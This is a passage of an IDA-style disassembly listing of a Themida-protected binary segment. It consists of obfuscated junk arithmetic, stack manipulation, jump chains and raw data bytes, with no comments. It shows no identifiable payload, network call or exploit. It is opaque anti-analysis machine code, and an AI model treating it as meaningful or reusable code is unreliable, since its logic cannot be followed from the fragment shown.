		sub	eax, 43EC3C39h
		add	eax, 5E81D620h
		add	ebx, 759B6D97h
		jmp	loc_561A8C
; ---------------------------------------------------------------------------
		dw 8966h
		dd 60E9240Ch, 0FF000086h, 0D1683C77h, 8900002Ch, 72BD242Ch
		dd 8101B472h, 0D5042444h, 290A006Ah, 8104246Ch,	0D504246Ch
		dd 8B0A006Ah, 0C481242Ch, 4, 0E924048Bh, 0FFFF786Ch, 0FAE9C329h
		dd 4A0000B8h, 0C281DAF7h, 96609A13h, 8F6BE9h, 48B6600h
		dd 76E1E924h, 0C1810000h, 4, 4E981h, 0C870000h,	24248B24h
		dd 0FFEC48E9h, 66F9F6FFh, 66CCB60Fh, 0E90B1368h, 7987h
; ---------------------------------------------------------------------------

loc_55D278:				; CODE XREF: Themida_:00559EA3j
		add	eax, edi
		pop	edi
		push	esi
		jmp	loc_5601DC
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 5Fh
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D287:				; CODE XREF: Themida_:005571C0j
		add	ebp, 68554681h
		xor	ebp, 23D72A0Dh
		mov	esi, ebp
		pop	ebp
		sub	ebx, 137977C5h
		add	ebx, esi
		jmp	loc_56258F
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8BE9F701h, 8B00006Bh, 0E92424h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D2B3:				; CODE XREF: Themida_:0055B8DDj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	504Dh
		jmp	loc_55C4DE
; ---------------------------------------------------------------------------

loc_55D2C4:				; CODE XREF: Themida_:00554005j
		mov	ebx, edi
		pop	edi
		inc	ebx
		push	ecx
		mov	ecx, 0C5ADF164h
		jmp	loc_5572A0
; ---------------------------------------------------------------------------

loc_55D2D3:				; CODE XREF: Themida_:00568363j
		sub	esi, 5F887324h
		jmp	loc_55BA9A
; ---------------------------------------------------------------------------
		dw 0EB83h
		dd 241C8704h, 2434895Ch, 0FF9B36E9h, 243C33FFh,	33243C31h
		dd 248B243Ch, 0A1B9E924h, 0EC680000h, 89000065h, 0D8E92434h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D30B:				; CODE XREF: Themida_:005592F4j
		mov	ebx, edi
		pop	edi
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		or	ebx, 5A9540BBh
		push	edx
		mov	edx, 28C6F99h
		sub	ebx, edx
		pop	edx
		jmp	loc_5578D5
; ---------------------------------------------------------------------------

loc_55D32D:				; CODE XREF: Themida_:0056417Aj
		mov	ebp, 28CC5F3Bh
		sub	ebp, 28CC5F37h
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_567DE4
; ---------------------------------------------------------------------------
		db 89h,	0CDh, 59h
		dd 4246C31h, 0FFB4F6E9h, 14CF81FFh, 0F72E6D6Ah,	0EFC147DFh
		dd 0ACBE5607h, 0C10AE970h, 0EE8105EEh, 9E7ACEh,	54FDC781h
		dd 0F72929DFh, 54FDEF81h, 295E29DFh, 2434FFFEh,	4C4815Fh
		dd 81000000h, 85B9EC6h,	0E9F031D5h, 7533h, 2C11BF57h, 0FE89550Ah
		dd 8638E95Fh, 0DDF60000h, 5CE9DDF6h, 89000049h,	405E0h
		dd 0C0830000h, 24048704h, 1C19E95Ch, 0C870000h,	0F7565E24h
		dd 555E241Ch, 67586BDh,	0E3ED8103h, 812BED2Ah, 0B166EEEDh
		dd 5DEE3145h, 0B034F405h, 2DF00102h, 2B034F4h, 0E924348Bh
		dd 89D5h, 0EB81EB01h, 4000CE2h,	57C3815Dh, 17B6A2Ah, 57EB81CBh
		dd 0E97B6A2Ah, 0FFFF824Ch
; ---------------------------------------------------------------------------

loc_55D418:				; CODE XREF: Themida_:0055CAF7j
		pop	eax
		xchg	eax, [esp]
		jmp	loc_562792
; ---------------------------------------------------------------------------
		db 1, 0F2h, 0FFh
		dd 348B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_566920
; ---------------------------------------------------------------------------

loc_55D431:				; CODE XREF: Themida_:00558092j
		add	edx, esi
		pop	esi
		push	1067h
		jmp	loc_55DDE5
; ---------------------------------------------------------------------------
		dw 9BDh
		dd 815A4228h, 861D33E5h, 4FC2E90Eh, 295C0000h, 701DE9F0h
		dd 81510000h, 4ECh, 241C8900h, 0D988E388h, 59CE885Bh, 8124048Bh
		dd 4C4h, 0F627E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D476:				; CODE XREF: Themida_:0055A1E8j
		not	edi
		jmp	loc_554DC5
; ---------------------------------------------------------------------------
		db 66h,	0BEh, 0C7h
		dd 5CC1E905h, 0F729FFFFh, 0E9D7F75Eh, 646h, 15EF129h, 0A4C181F1h
		dd 0FF33CE3Ch, 835E2434h, 0CE2904C4h, 0E9240C8Bh, 102Ch
		dd 4C481h, 0C1810000h, 3D986BB1h, 0BE56D101h, 3D986BB1h
		dd 5A5EF129h, 0E9240C87h, 795Dh, 42BB535Ah, 0F705D009h
		dd 44C381D3h, 811ACE79h, 126684C3h, 0B3EB811Ah,	810FE573h
		dd 0A90A87C3h, 0FCEB810Eh, 291F1729h, 6CE95BDEh, 31FFFFF3h
		dd 895759C8h, 6E6852E7h, 8B5A307Eh, 84E92414h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D50F:				; CODE XREF: Themida_:005613B1j
		mov	[esp], ebx
		mov	ebx, 7FCF362Ch
		mov	esi, 0FC68EB62h
		add	esi, ebx
		pop	ebx
		not	esi
		neg	esi
		or	esi, 13694109h
		shl	esi, 4
		jmp	loc_568A1B
; ---------------------------------------------------------------------------
		db 56h,	54h, 8Bh
		dd 0C4832434h, 4B85004h, 0E9000000h, 66B7h, 57D668h, 240C8900h
		dd 0FFEF29E9h, 81EBD1FFh, 0BFF9C6EBh, 0DEC7813Ch, 1019938h
		dd 0DEEF81DFh, 8B019938h, 88E9241Ch, 66FFFF6Bh,	52D5F659h
		dd 0CA8027B2h, 0C0C2FE34h, 0D2F605E2h, 0E908EAC0h, 347Dh
		dd 0F04DE955h, 84BFFFFFh, 0E95FFB3Ah, 0FFFF63EDh
; ---------------------------------------------------------------------------

loc_55D598:				; CODE XREF: Themida_:005641CBj
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5617A2
; ---------------------------------------------------------------------------
		dd 0FD005DB7h, 52665B66h, 4B8C68h, 240C8900h, 0BB35366h
		dd 5B66D988h, 0CA3021B2h, 9098E9h, 0C0CB8100h, 0C1534431h
		dd 0E3C105EBh, 4C38107h, 122A631h, 0EA815BDAh, 4, 31241433h
		dd 0D5E92414h, 6600005Ch, 0E90002BAh, 0FFFF60F2h, 0F581DDF7h
		dd 0C240C571h, 8BE9E921h, 810000A1h, 0A7D2404h,	34FF5EF0h
		dd 0CEE95824h, 30FFFF81h, 0C5805AD5h, 0E9EA081Eh, 644Fh
		dd 8324348Bh, 0D90104C4h, 0FFEE981h, 0C181480Fh, 4CC35BC5h
		dd 57241C8Bh, 0C7815F54h, 4, 0FFB00BE9h, 0FAF781FFh, 0E9728183h
		dd 50Ah, 0E9241C89h, 0FFFFA209h, 685DE989h, 3E53h, 0BB241C89h
		dd 24981B5Fh, 5FC181h, 6AE93CA1h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D673:				; CODE XREF: Themida_:0055AFA2j
		sub	ebp, 4
		jmp	loc_558BA2
; ---------------------------------------------------------------------------

loc_55D67B:				; CODE XREF: Themida_:005636C1j
		sub	ebp, esi
		pop	esi
		sub	ebp, 3101274Dh
		add	ebp, edi
		add	ebp, 3101274Dh
		add	ebp, 49673F95h
		push	dword ptr [esp]
		jmp	loc_55B981
; ---------------------------------------------------------------------------
aBcpa		db 'æPa;',0
		dd 0ABAEE81h, 0F301A37Fh, 50C6815Eh, 0E969A135h, 0FFFF8714h
; ---------------------------------------------------------------------------

loc_55D6B4:				; CODE XREF: Themida_:0056088Dj
		mov	esp, [esp]
		jmp	loc_5530A5
; ---------------------------------------------------------------------------

loc_55D6BC:				; CODE XREF: Themida_:00562B5Ej
		not	eax
		jmp	loc_564963
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 81665C24h,	833DCBF2h
		dd 0A7E904ECh, 550000B4h, 89525D54h, 4C281E2h, 0E9000000h
		dd 0FFFF854Bh
; ---------------------------------------------------------------------------

loc_55D6F4:				; CODE XREF: Themida_:0055882Ej
		add	eax, ebx
		add	eax, 3230378Dh
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		add	eax, edi
		mov	ecx, [eax]
		jmp	loc_5685E8
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0CDE9h, 74FF5100h, 0C8B0424h, 0F015E924h, 0BB53FFFFh
		dd 2, 89BD5557h, 0BF61C732h, 1774749Bh,	515DEF31h, 385920B9h
		dd 59CF3116h, 45AAE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D742:				; CODE XREF: Themida_:00564787j
		xor	ebx, 9C61BC19h
		mov	eax, ebx
		jmp	loc_5545D4
; ---------------------------------------------------------------------------
		db 57h
		dd 0BD661CBFh, 0C1D7F743h, 0E7C104E7h, 7EFC103h, 0C781DFF7h
		dd 4299E7h, 875FF901h, 90E9240Ch
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D773:				; CODE XREF: Themida_:005577B9j
		jz	loc_559F74
		push	ebp
		push	esp
		jmp	loc_55770E
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0E95804C4h, 0FFFF5919h
; ---------------------------------------------------------------------------

loc_55D78C:				; CODE XREF: Themida_:0055D1C4j
		sub	ebp, eax
		pop	eax
		pop	ebx
		xor	ebp, [esp]
		jmp	loc_564EA9
; ---------------------------------------------------------------------------

loc_55D798:				; CODE XREF: Themida_:0055620Fj
		push	esp
		pop	esi
		jmp	loc_568763
; ---------------------------------------------------------------------------

loc_55D79F:				; CODE XREF: Themida_:0055A2DEj
		push	edi
		jmp	loc_561C2F
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0FF95E2E9h, 4055FFFh, 87000000h, 248B2404h, 83E95224h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D7BF:				; CODE XREF: Themida_:00566FDAj
		add	[eax], ecx
		pop	ecx
		pop	eax
		jmp	loc_553DD7
; ---------------------------------------------------------------------------
		dd 8EDBB66h, 0FF93F8E9h, 0F18166FFh, 89660A73h,	0C894E9CAh
		dd 0C481FFFFh, 4, 233FBB53h, 0D3F7084Ch, 416DE9h, 4896600h
		dd 0F7B86624h, 0C381665Dh, 4E93693h, 6600002Ah,	57240C8Bh
		dd 3EB6E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D80D:				; CODE XREF: Themida_:00556BC4j
		sub	dword ptr [esp+4], 3B3587Ah
		sub	dword ptr [esp+4], 0A120667h
		sub	dword ptr [esp+4], 66294E9Dh
		jmp	loc_55DD7C
; ---------------------------------------------------------------------------
		dw 68BBh
		dd 50109344h, 0C689D889h, 8540E958h, 34890000h,	4BE24h
		dd 0F3010000h, 4C3815Eh, 57000000h, 64F0E954h, 4050000h
		dd 0E9000000h, 94D0h, 0E9243C33h, 0FFFFDCC6h, 94E9CA87h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D86B:				; CODE XREF: Themida_:0055F3C6j
		push	ebx
		push	65F16C25h
		pop	ebx
		add	ebx, 0FFFFFFFFh
		push	esi
		mov	esi, 392C386Ah
		xor	esi, 4D7B1FC2h
		push	ecx
		mov	ecx, 4AAB6A4Bh
		and	esi, ecx
		pop	ecx
		push	ecx
		jmp	loc_565AFC
; ---------------------------------------------------------------------------
		db 0C1h
		dd 814506E5h, 550ECEEDh, 73A5E91Fh, 0E281FFFFh,	355A0D65h
		dd 0E94ADAF7h, 0FFFFEF51h
; ---------------------------------------------------------------------------

loc_55D8B0:				; CODE XREF: Themida_:005610ADj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5654CB
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 24E9241Ch, 89000079h, 4C381E3h, 0E9000000h
		dd 0FFFF6989h, 8704E883h, 895C2404h, 2C812434h,	815EFA24h
		dd 38428F3Dh, 0FA384281h, 0E93D815Eh, 0FFFF94D0h, 8105E6C1h
		dd 4517FCF6h, 2C815646h, 0EE4C6424h, 0C5815D62h, 62EE4C64h
		dd 497E9h, 0BC685100h, 8900002Dh, 0B9512424h, 4, 4246C81h
		dd 13CE0EFAh, 4244C01h,	0EFAB951h, 4C0113CEh, 59590824h
		dd 0E9240C8Bh, 0FFFF5E8Ch, 4C381h, 0C3830000h, 6EA0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D94E:				; CODE XREF: Themida_:0055DCDEj
		sub	edx, 0EC0FEA1Fh
		sub	ebp, edx
		jmp	loc_566FDF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 42F8E900h, 5C290000h, 0BD550424h, 3F8B239Eh, 8246C81h
		dd 72835910h, 8244481h,	20E75271h, 8246C29h, 8246C81h
		dd 20E75271h, 8244481h,	72835910h, 5097E9h, 4C38100h, 0E9000000h
		dd 0FFFFF93Ah
; ---------------------------------------------------------------------------

loc_55D9A4:				; CODE XREF: Themida_:00565A72j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55F3B0
; ---------------------------------------------------------------------------

loc_55D9AD:				; CODE XREF: Themida_:0055B994j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 49360CC5h
		shr	ecx, 8
		shr	ecx, 8
		dec	ecx
		shl	ecx, 8
		xor	ecx, offset dword_493504
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55901F
; ---------------------------------------------------------------------------
		dd 0FF56BCE9h, 24048BFFh, 4EC81h, 15E90000h, 5000094h
		dd 31DA6D8Ch, 0AC7DE9h,	1EB8300h, 0FF8FA1E9h, 74FF57FFh
		dd 3C8B0424h, 4C48324h,	5C24048Fh, 353F68h, 84BFE900h
		dd 2C890000h, 4EC8124h,	54000000h, 5224048Fh, 4EC81h, 42E90000h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DA3B:				; CODE XREF: Themida_:00554E06j
		push	esi
		mov	esi, 579F1FD2h
		jmp	loc_559570
; ---------------------------------------------------------------------------

loc_55DA46:				; CODE XREF: Themida_:00567A26j
		mov	edx, ecx
		jmp	loc_553812
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 2C3h, 241C3300h, 33241C31h, 7BE9241Ch, 56FFFF7Eh
		dd 0C35BC5BEh, 5EF1294Ch, 551068h, 24348900h, 0F0FFEBEh
		dd 0E9F10148h, 0FFFFFB9Ch, 2086859h, 4890000h, 0B45B824h
		dd 4EE906A4h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DA97:				; CODE XREF: Themida_:00565282j
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	0E27h
		mov	[esp], ebx
		push	1B3Ch
		mov	[esp], ebp
		mov	ebp, 1
		jmp	loc_5551F3
; ---------------------------------------------------------------------------

loc_55DABB:				; CODE XREF: Themida_:00558EC9j
		mov	bl, 0BEh
		jmp	loc_555427
; ---------------------------------------------------------------------------
		dw 1489h
		dd 3AA06824h, 815A79B5h, 61192CE2h, 98D5E974h, 0F781FFFFh
		dd 0C4A9DDCDh, 0E95FFA29h, 0FFFFC3FAh, 0DD3F56BEh, 0CCE68161h
		dd 0C124FA68h, 31E905EEh, 0FF00003Ch, 0D6E92434h, 5EFFFF86h
		dd 0FFE326E9h, 240C87FFh, 8BDA295Ch, 0DAE9241Ch, 31FFFF7Ah
		dd 0D0015DEAh, 8124148Bh, 4C4h,	24043300h, 0E9240431h
		dd 0FFFFDC09h, 0BD555A54h, 4, 3EE9EA01h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DB3B:				; CODE XREF: Themida_:00560A5Bj
		sub	bl, 66h
		sub	bl, 2Ch
		sub	bl, 33h
		push	eax
		jmp	loc_5588BE
; ---------------------------------------------------------------------------
		dw 0D530h
		dd 53C5FE5Ah, 0B321B551h, 72B1E993h, 0F829FFFFh, 482E055Fh
		dd 0D26873EEh, 89000019h, 55E92434h, 58FFFFB1h,	6389B850h
		dd 4FE95242h, 0FEFFFF5Dh, 0D1EF80CFh, 0FF79BBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DB85:				; CODE XREF: Themida_:005665E0j
		jmp	loc_5530A5
; ---------------------------------------------------------------------------

loc_55DB8A:				; CODE XREF: Themida_:00561831j
		shr	ecx, 1
		xor	ecx, 17BA932Ah
		sub	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_556404
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 33240431h, 815C2404h, 4ECh, 243C8900h, 42474FFh, 0FFE7AAE9h
		dd 4BAFFh, 0D6010000h, 74FF565Ah, 348B0424h, 4C48124h
		dd 8F000000h, 0E95C2404h, 0FFFF54B9h
; ---------------------------------------------------------------------------

loc_55DBEC:				; CODE XREF: Themida_:00564BFAj
		push	ebx
		jmp	loc_560C36
; ---------------------------------------------------------------------------
		dw 0F58h
		dd 34FFC0B6h, 0FA05E987h, 5E66FFFFh, 0A9B2E9h, 240C8900h
		dd 2434FF54h, 0E0895059h, 405h,	40500h,	4870000h, 0C1815C24h
		dd 4, 0D8E95053h, 89FFFF74h, 0D5B6E9E6h, 0EA81FFFFh, 745F3789h
		dd 0C281C201h, 745F3789h, 0E40DE958h, 565CFFFFh, 975EB468h
		dd 0BA525E49h, 0B10067h, 192DE281h, 0C2811BFEh,	40A82DF9h
		dd 815AD621h, 1EEh, 6CD7E900h, 8158FFFFh, 4ECh,	0CF08E900h
		dd 8B5FFFFFh, 0C6E92434h, 0BAFFFFA1h, 63F75C3Eh, 4261EA81h
		dd 8068368Eh, 0E9000069h, 0FFFF7CA3h
; ---------------------------------------------------------------------------

loc_55DC98:				; CODE XREF: Themida_:00563A11j
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55526F
; ---------------------------------------------------------------------------
		dd offset dword_493504+9464h
		dd 24148900h, 0FF6555E9h, 218E05FFh, 34FF0566h
		db 24h,	5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55BE94
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24348B24h, 0FF90B5E9h, 6F480FFh, 7AE9E600h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DCDB:				; CODE XREF: Themida_:00564320j
		shl	edx, 3
		jmp	loc_55D94E
; ---------------------------------------------------------------------------
		db 55h
		dd 2B951h, 0CD890000h, 3A1CE9h,	81E18900h, 4C1h, 4C18100h
		dd 0E9000000h, 5513h, 4FE5252Dh, 8BE98133h, 29077C5Eh
		dd 8BC181C1h, 0FF077C5Eh, 81582434h, 4C4h, 21556800h, 0C890000h
		dd 2474FF24h, 48F5904h,	24248B24h, 24048966h, 0FFC79BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DD3D:				; CODE XREF: Themida_:0056358Fj
		mov	[esp], ecx
		mov	ecx, 2F7C3103h
		push	ebp
		mov	ebp, 2515290Dh
		push	ebx
		mov	ebx, 3B206980h
		push	edi
		jmp	loc_55CA40
; ---------------------------------------------------------------------------
		dd offset dword_493504+1D464h
		align 4
		dd 51240489h, 0C37B850h, 81E969C6h, 29000058h, 2434FFD0h
		dd 7F38E9h, 0E9516600h,	0FFFFD849h
; ---------------------------------------------------------------------------

loc_55DD7C:				; CODE XREF: Themida_:0055D825j
		sub	[esp+4], edx
		add	dword ptr [esp+4], 66294E9Dh
		add	dword ptr [esp+4], 0A120667h
		push	edx
		mov	edx, 3B3587Ah
		jmp	loc_554DE7
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0E9240487h, 5527h, 5DE8015Eh, 51E9D0F7h, 0C1FFFFFFh
		dd 0D9F708E9h, 82BD5556h, 0BE5A4F44h, 2C2228CDh, 0DCE9EE31h
		dd 51FFFFD1h, 0C181E189h, 4, 0E904C183h, 0A168h, 5253DE01h
		dd 3982E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DDE5:				; CODE XREF: Themida_:0055D439j
		mov	[esp], eax
		jmp	loc_55389C
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 0E9h
		dd 0FFFF5F5Eh
; ---------------------------------------------------------------------------

loc_55DDF4:				; CODE XREF: Themida_:00560501j
		mov	ecx, 7CEA2FD2h
		or	esi, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_55BCA7
; ---------------------------------------------------------------------------

loc_55DE18:				; CODE XREF: Themida_:00568641j
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_564A83
; ---------------------------------------------------------------------------
		db 33h
		dd 685C242Ch, 6401h, 0CCDE9h, 4EC8300h,	0B2241489h, 0E9D1884Ch
		dd 8188h, 0E9240C8Bh, 0FFFF74B5h, 0F75FFA09h, 0ECBB53DAh
		dd 0E9743AF6h, 3C89h, 5C241487h, 9E06E957h, 4B6FFFFh, 0E928C680h
		dd 0FFFF597Dh, 55F06853h, 0C15B37E1h, 814B03E3h, 225E22C3h
		dd 1D42E924h, 6C810000h, 443C0424h, 7C016999h, 0BA520424h
		dd 6999443Ch, 8245401h,	8324148Bh, 0FF5F04C4h, 0E95B2434h
		dd 0FFFF5238h, 53242489h, 2E7C6851h, 0E959720Ah, 4ED0h
; ---------------------------------------------------------------------------

loc_55DEB8:				; CODE XREF: Themida_:0056710Bj
		dec	eax
		jmp	loc_55D1BF
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24248B24h, 5C24048Fh, 0A4768h, 241C8900h, 4EC81h, 4890000h
		dd 88D08824h, 0CFE958C7h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DEE3:				; CODE XREF: Themida_:0056135Fj
		add	ebp, 680B1183h
		add	ebp, ebx
		sub	ebp, 680B1183h
		jmp	loc_566F4C
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 26173FC7h, 0DFBD556Ah, 12CA43Dh, 0F399E9EFh,	3C8BFFFFh
		dd 4C48124h, 52000000h,	2BAh, 5AD30100h, 0E904EC83h, 0FFFF5DC8h
; ---------------------------------------------------------------------------

loc_55DF24:				; CODE XREF: Themida_:005688E0j
		sub	esi, edi
		jmp	loc_55B4C1
; ---------------------------------------------------------------------------
		db 80h
		dd 0F180DDE9h, 5AF180BFh, 59CE28h, 24148BF5h, 6604C483h
		dd 246C8051h, 24E9FF01h, 80FFFFF6h, 0F3006CEBh,	0E96CC380h
		dd 0FFFF5613h, 0DF05E829h, 56069D75h, 7D32DABEh, 0D5F68173h
		dd 0E92AE036h, 16D8h, 0DEEE815Eh, 5B1AE46Dh, 1F81EE81h
		dd 0D62909F8h, 1F81C681h, 0E95A09F8h, 740Ah, 0BEE9D629h
		dd 8B0000A6h, 0EFE9240Ch
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DF9B:				; CODE XREF: Themida_:0056152Aj
		mov	[esp], edi
		jmp	loc_55B7C7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8104C483h, 89204EC3h, 4C9DE97Bh, 0C8B0000h, 0E0895024h
		dd 405h, 0FDD9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DFC2:				; CODE XREF: Themida_:0055E2FAj
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558CFF
; ---------------------------------------------------------------------------
		db 42h
		dd 5142D2F7h, 0A16CCEB9h, 59CA090Bh, 5EA4F281h,	0D0295AD0h
		dd 0FFC7015Ah, 83582434h, 3C3304C4h, 243C3124h,	8B243C33h
		dd 0D3662424h, 0E99C2424h, 0FFFF5091h, 501DBA52h, 47BD373Bh
		dd 0E917AF4Ah, 0FFFFBEE6h
; ---------------------------------------------------------------------------

loc_55E024:				; CODE XREF: Themida_:00563825j
		pop	ebx
		and	dl, 5Dh
		jmp	loc_55A124
; ---------------------------------------------------------------------------

loc_55E02D:				; CODE XREF: Themida_:0056251Bj
		mov	[esp], edi
		jmp	loc_559B67
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0F7E90000h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E043:				; CODE XREF: Themida_:00564DF8j
		push	ebp
		jmp	loc_556906
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 405h, 4C08300h, 31240433h, 4332404h,	19685C24h, 8900000Dh
		dd 2468242Ch, 0FF000000h, 835D2434h, 0BA5204C4h, 37E64150h
		dd 439AB951h, 0CA01066Ch, 94E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E086:				; CODE XREF: Themida_:005539CAj
		pop	eax
		jmp	loc_561CBA
; ---------------------------------------------------------------------------
		dd 240C875Dh, 0E389535Ch, 4C381h, 0E9500000h, 9FD7h, 70EDE942h
		dd 481FFFFh, 424h, 827FE900h, 2C810000h, 25494A24h, 4A055858h
		dd 8B582549h, 8EE9240Ch, 66FFFF6Ah, 68240C8Bh, 0D34h, 0FFF94DE9h
		dd 81E289FFh, 4C2h, 4EA8300h, 0E9241487h, 0EB0h
; ---------------------------------------------------------------------------

loc_55E0E8:				; CODE XREF: Themida_:00559F50j
		push	120Ah
		jmp	loc_560C48
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0ADE90000h, 0BD000020h, 7F8E607Bh, 815DE929h
		dd 503B41F1h, 0A286E912h, 48FFFFFh, 0C565E924h,	0EAC1FFFFh
		dd 81B7E906h, 815F0000h, 0F71AD9C3h, 5BDF89DDh,	83E9F801h
		dd 68FFFF5Ah, 4C56h, 52240489h,	8AB0B5B6h, 515AF000h, 0C8000EB1h
		dd 0FF7409E9h, 4C828FFh, 0FF2B2C4Dh
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5546EF
; ---------------------------------------------------------------------------

loc_55E165:				; CODE XREF: Themida_:00556930j
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_55FA9C
; ---------------------------------------------------------------------------
aSU		db '(ØéÊ“',0
		align 2

loc_55E176:				; CODE XREF: Themida_:0056445Ej
		add	ebp, 1E6116BBh
		jmp	loc_567011
; ---------------------------------------------------------------------------
		db 5Ch,	5, 0D2h
		dd 10B8E38h, 38D22DC8h,	34FF0B8Eh, 7F5E924h, 8B660000h
		dd 0C9682404h, 89000018h, 0FF542434h
		db 34h,	24h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_565A6F
; ---------------------------------------------------------------------------
		db 55h,	57h, 0BFh
		dd 69520BADh, 9F2524BDh, 5FFD3128h, 0DA1E581h, 5FE90165h
		dd 0BAFFFFA0h, 431D1712h, 218BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E1D9:				; CODE XREF: Themida_:005686DDj
		mov	esp, [esp]
		jmp	loc_567EA0
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 2Ch
		dd 51000000h, 4C13AAB9h, 59CA2960h, 141B68h, 242C8900h
		dd 311219BDh, 14F75501h, 0EDC15D24h, 97C58102h,	1ECD48Dh
		dd 60BAE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E212:				; CODE XREF: Themida_:00557EC9j
		add	ebx, 4
		push	ebp
		jmp	loc_568B59
; ---------------------------------------------------------------------------
		dw 8F58h
		dd 248B2404h, 0A096E924h, 0C181FFFFh, 4, 4C181h, 0C870000h
		dd 85B2E924h, 23B6FFFFh, 4AE9CE30h, 83FFFFE7h, 0C38604C4h
		dd 0C386D0F6h, 0A5E9C3FEh
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E257:				; CODE XREF: Themida_:005575BEj
		push	eax
		push	1398h
		mov	[esp], ecx
		jmp	loc_55D0B8
; ---------------------------------------------------------------------------

loc_55E265:				; CODE XREF: Themida_:0055991Ej
		sub	ebx, 760F5254h
		push	eax
		push	esi
		push	2B6F7390h
		jmp	loc_567F78
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4EF8100h, 33000000h, 3C31243Ch, 243C3324h, 8924248Bh
		dd 74FF241Ch, 1C8B0424h, 0E7895724h, 4C781h, 0C7830000h
		dd 0A598E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E2AA:				; CODE XREF: Themida_:00563728j
		add	edx, 45C47460h
		add	edx, ebp
		push	ebx
		jmp	loc_562220
; ---------------------------------------------------------------------------

loc_55E2B8:				; CODE XREF: Themida_:00554682j
		pop	eax
		sub	edx, 13C05D6Ch
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
